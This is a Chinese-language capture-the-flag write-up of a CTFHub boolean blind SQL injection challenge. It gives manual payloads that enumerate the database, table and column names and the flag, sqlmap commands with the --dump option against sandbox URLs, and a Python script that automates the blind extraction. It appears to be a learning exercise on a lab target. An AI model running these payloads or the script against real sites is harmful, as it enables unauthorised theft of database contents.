手工注入
1. 题目直接说明了是布尔注盲注,来简单验证一下
2. 既然如此,那么构造SQL语句,得到数据库长度
3. 数据库名称的长度为4,然后可以猜解出数据库的名称
得知当前数据库的第一个字母是s
然后依次得到数据库的第2个字母到第4个字母
最后对照ASCII表
得到当前数据库名称为sqli
4. 得到数据库中表的数量
前面只是演示如何得到数据库的名称
其实后面可以直接用database()来代替sqli
1 and (select count(table_name) from information_schema.tables
where table_schema=database())=2
可以得知表的数量为2
5. 第一张表的名称
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))>110
(不断改变范围,把第一张数据表的第一个字母猜解出来)
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),2,1))>110
(不断改变范围,把第一张数据表的第二个字母猜解出来)
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),3,1))>110
(不断改变范围,把第一张数据表的第三个字母猜解出来)
......
......
最后得到表名为news
6. 第二张表的名称
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 1,1),1,1))>110
(不断改变范围,把第二张数据表的第一个字母猜解出来)
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 1,1),2,1))>110
(不断改变范围,把第二张数据表的第二个字母猜解出来)
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 1,1),3,1))>110
(不断改变范围,把第二张数据表的第三个字母猜解出来)
......
......
最后得到表名为flag
7. 那么flag必然在flag表里,开始猜解flag表的字段数
1 and (select count(column_name) from information_schema.columns
where table_name='flag')=1
得到flag只有一个字段
8. 字段名称
1 and ascii(substr((select column_name from information_schema.columns
where table_name='flag'),1,1))>110
(不断改变范围,把字段名猜解出来)
......
得到字段名也为flag
9. 猜解flag
其实字段名没什么用,因为题目并不会返回具体信息,只会返回查询成功和查询失败
具体的flag还得一个个字母去猜解,太麻烦了
1 and ascii(substr((select * from sqli.flag where id=1),1,1))>110
1 and ascii(substr((select * from sqli.flag where id=1),2,1))>110
1 and ascii(substr((select * from sqli.flag where id=1),3,1))>110
......
这是一个巨大的工作量,所以应该积累到的一个经验是:
手工盲注特别繁琐,碰到这类题目要会用工具sqlmap
sqlmap注入
我是在Kali Linux里面执行的
Windows如何安装使用SQLMap见:
https://blog.csdn.net/weixin_45254208/article/details/104697014
1. 数据库名称
Kali:
sqlmap -u "http://challenge-c0ce9610cb3e7401.sandbox.
ctfhub.com:10080/?id=1" --dbs
Windows:
python sqlmap.py -u "http://challenge-ba06d4afa77b9bd9.sandbox.
ctfhub.com:10080/?id=1" --dbs
注意二者区别,后面以Kali为例,不再赘述
2. 数据表名称
sqlmap -u "http://challenge-c0ce9610cb3e7401.sandbox.
ctfhub.com:10080/?id=1" -D sqli --tables
3. 字段,flag
sqlmap -u "http://challenge-c0ce9610cb3e7401.sandbox.
ctfhub.com:10080/?id=1" -D sqli -T flag --columns --dump
使用脚本
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import time
# 这里的地址要换成自己的环境
urlOPEN = 'http://challenge-7e982e4f68b3651d.sandbox.ctfhub.com:10080/?id='
starOperatorTime = []
mark = 'query_success'
def database_name():
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
def table_name():
list = []
for k in range(0, 4):
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('table_name:', list)
# start = time.time()
table_name()
# stop = time.time()
# starOperatorTime.append(stop-start)
# print("所用的平均时间: " + str(sum(starOperatorTime)/100))
def column_name():
list = []
for k in range(0, 3): # 判断表里最多有4个字段
name = ''
for j in range(1, 9): # 判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('column_name:', list)
column_name()
def get_data():
name = ''
for j in range(1, 50): # 判断一个值最多有51个字符组成
for i in range(48, 126):
url = urlOPEN + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' % (
j, i)
r = requests.get(url)
if mark in r.text:
name = name + chr(i)
print(name)
break
print('value:', name)
get_data()
为什么我的脚本跑完之后,只出来了数据库名,其他的报错了呢?
这报错,应该是靶机环境的时间到了。
总结
开始的时候使用手工注入,旨在了解原理
掌握了以后,去熟悉工具的使用,目的是提高效率